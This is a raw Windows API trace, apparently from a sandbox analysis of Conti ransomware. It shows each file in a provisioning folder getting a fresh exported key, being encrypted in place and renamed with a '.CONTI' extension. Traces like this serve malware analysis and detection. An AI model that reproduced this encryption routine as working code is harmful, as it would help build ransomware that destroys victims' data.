	[0110.859] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0110.859] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6570600 | out: phKey=0x6570600*=0x17c7b30) returned 1
	[0110.859] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6570604, pdwDataLen=0x3bbfde4 | out: pbData=0x6570604*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0110.860] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.860] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0110.861] GetLastError () returned 0x0
	[0110.861] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=504) returned 1
	[0110.861] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1f8
	[0110.861] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.861] SetEndOfFile (hFile=0x30c) returned 1
	[0110.861] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.861] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.861] WriteFile (in: hFile=0x30c, lpBuffer=0x6570604*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6570604*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.091] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.091] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x1f8, lpOverlapped=0x0) returned 1
	[0111.091] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1f8, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x200) returned 1
	[0111.091] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.091] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x200, lpOverlapped=0x0) returned 1
	[0111.091] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.091] WriteFile (in: hFile=0x30c, lpBuffer=0x65705f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65705f8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0111.091] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.091] CloseHandle (hObject=0x30c) returned 1
	[0111.091] GetProcessHeap () returned 0x1720000
	[0111.091] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.184] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0111.184] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.184] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\367__connections_cellular_ojsc sibirtelecom (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.185] GetProcessHeap () returned 0x1720000
	[0111.185] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.185] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0111.185] GetProcessHeap () returned 0x1720000
	[0111.186] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17defd0 | out: hHeap=0x1720000) returned 1
	[0111.186] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0111.186] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65132d8 | out: phKey=0x65132d8*=0x17c7db0) returned 1
	[0111.186] CryptExportKey (in: hKey=0x17c7db0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65132dc, pdwDataLen=0x3bbfde4 | out: pbData=0x65132dc*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0111.186] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.187] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0111.187] GetLastError () returned 0x0
	[0111.187] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=847) returned 1
	[0111.187] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34f
	[0111.187] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.187] SetEndOfFile (hFile=0x414) returned 1
	[0111.187] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.187] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.188] WriteFile (in: hFile=0x414, lpBuffer=0x65132dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65132dc*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.434] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.434] ReadFile (in: hFile=0x414, lpBuffer=0x9880000, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x34f, lpOverlapped=0x0) returned 1
	[0111.434] CryptEncrypt (in: hKey=0x17c7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x34f, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x350) returned 1
	[0111.434] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.434] WriteFile (in: hFile=0x414, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x350, lpOverlapped=0x0) returned 1
	[0111.434] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.434] WriteFile (in: hFile=0x414, lpBuffer=0x65132d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65132d0*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0111.435] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.435] CloseHandle (hObject=0x414) returned 1
	[0111.435] GetProcessHeap () returned 0x1720000
	[0111.435] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.841] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml"
	[0111.841] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.841] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\388__connections_cellular_starhub (singapore)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.842] GetProcessHeap () returned 0x1720000
	[0111.842] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.842] CryptDestroyKey (hKey=0x17c7db0) returned 1
	[0111.842] GetProcessHeap () returned 0x1720000
	[0111.842] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6a98 | out: hHeap=0x1720000) returned 1
	[0111.842] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0111.842] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17ff0c0 | out: phKey=0x17ff0c0*=0x6b7f378) returned 1
	[0111.842] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17ff0c4, pdwDataLen=0x3bbfde4 | out: pbData=0x17ff0c4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0111.843] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\447__connections_cellular_orange (thailand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.843] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\447__connections_cellular_orange (thailand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0111.843] GetLastError () returned 0x0
	[0111.843] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=775) returned 1
	[0111.843] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x307
	[0111.843] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.843] SetEndOfFile (hFile=0x384) returned 1
	[0111.843] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.843] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.843] WriteFile (in: hFile=0x384, lpBuffer=0x17ff0c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17ff0c4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.850] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.850] ReadFile (in: hFile=0x384, lpBuffer=0x9880000, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x307, lpOverlapped=0x0) returned 1
	[0111.850] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x307, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x310) returned 1
	[0111.850] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.850] WriteFile (in: hFile=0x384, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x310, lpOverlapped=0x0) returned 1
	[0111.850] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.850] WriteFile (in: hFile=0x384, lpBuffer=0x17ff0b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17ff0b8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0111.850] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.850] CloseHandle (hObject=0x384) returned 1
	[0111.850] GetProcessHeap () returned 0x1720000
	[0111.851] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.851] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml"
	[0111.851] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.851] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\447__connections_cellular_orange (thailand)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\447__connections_cellular_orange (thailand)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.851] GetProcessHeap () returned 0x1720000
	[0111.851] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.851] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0111.851] GetProcessHeap () returned 0x1720000
	[0111.851] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18074c0 | out: hHeap=0x1720000) returned 1
	[0111.851] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0111.851] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x18042e0 | out: phKey=0x18042e0*=0x6b7f2b8) returned 1
	[0111.851] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x18042e4, pdwDataLen=0x3bbfde4 | out: pbData=0x18042e4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0111.852] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\449__connections_cellular_avea (turkey)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.852] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\449__connections_cellular_avea (turkey)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0111.853] GetLastError () returned 0x0
	[0111.853] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=707) returned 1
	[0111.853] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0111.853] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.853] SetEndOfFile (hFile=0x384) returned 1
	[0111.853] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.853] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.853] WriteFile (in: hFile=0x384, lpBuffer=0x18042e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x18042e4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.860] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.860] ReadFile (in: hFile=0x384, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2c3, lpOverlapped=0x0) returned 1
	[0111.860] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2c3, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2d0) returned 1
	[0111.860] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.860] WriteFile (in: hFile=0x384, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.860] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.860] WriteFile (in: hFile=0x384, lpBuffer=0x18042d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x18042d8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
